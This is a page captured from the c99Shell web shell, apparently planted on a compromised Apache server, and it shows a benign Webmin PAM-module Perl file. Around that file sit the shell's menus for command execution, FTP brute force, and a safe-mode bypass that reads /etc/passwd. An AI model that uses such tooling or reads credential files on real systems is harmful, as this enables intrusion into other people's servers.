!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/usr/libexec/webmin/pam/   drwxr-xr-x
Free 53.79 GB of 127.8 GB (42.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     pam_unix.so.pl (1.76 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
# display args for pam_unix.so

# display_args(&service, &module, &args)
sub display_module_args
{
print &ui_table_row($text{'pwdb_shadow'},
    &ui_yesno_radio("shadow", defined($_[2]->{'shadow'}) ? 1 : 0));

print &ui_table_row($text{'pwdb_md5'},
    &ui_yesno_radio("md5", defined($_[2]->{'md5'}) ? 1 : 0));

print &ui_table_row($text{'pwdb_nullok'},
    &ui_yesno_radio("nullok", defined($_[2]->{'nullok'}) ? 1 : 0));

print &ui_table_row($text{'unix_nullok_secure'},
    &ui_yesno_radio("nullok_secure",
            defined($_[2]->{'nullok_secure'}) ? 1 : 0));

if ($_[1]->{'type'} eq 'password') {
    # Password-change specific options
    print &ui_table_row($text{'unix_min'},
        &ui_opt_textbox("min", $_[2]->{'min'}, 5, $text{'unix_nomin'}));

    print &ui_table_row($text{'unix_max'},
        &ui_opt_textbox("max", $_[2]->{'max'}, 5, $text{'unix_nomax'}));

    print &ui_table_row($text{'unix_obscure'},
        &ui_yesno_radio("obscure",defined($_[2]->{'obscure'}) ? 1 : 0));
    }
}

# parse_module_args(&service, &module, &args)
sub parse_module_args
{
if ($in{'nullok'}) { $_[2]->{'nullok'} = ""; }
else { delete($_[2]->{'nullok'}); }

if ($in{'nullok_secure'}) { $_[2]->{'nullok_secure'} = ""; }
else { delete($_[2]->{'nullok_secure'}); }

if ($in{'shadow'}) { $_[2]->{'shadow'} = ""; }
else { delete($_[2]->{'shadow'}); }

if ($in{'md5'}) { $_[2]->{'md5'} = ""; }
else { delete($_[2]->{'md5'}); }

if ($_[1]->{'type'} eq 'password') {
    if ($in{'min_def'}) {
        delete($_[2]->{'min'});
        }
    else {
        $in{'min'} =~ /^\d+$/ || &error($text{'unix_emin'});
        $_[2]->{'min'} = $in{'min'};
        }

    if ($in{'max_def'}) {
        delete($_[2]->{'max'});
        }
    else {
        $in{'max'} =~ /^\d+$/ || &error($text{'unix_emax'});
        $_[2]->{'max'} = $in{'max'};
        }

    if ($in{'obscure'}) { $_[2]->{'obscure'} = ""; }
    else { delete($_[2]->{'obscure'}); }
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0078 ]--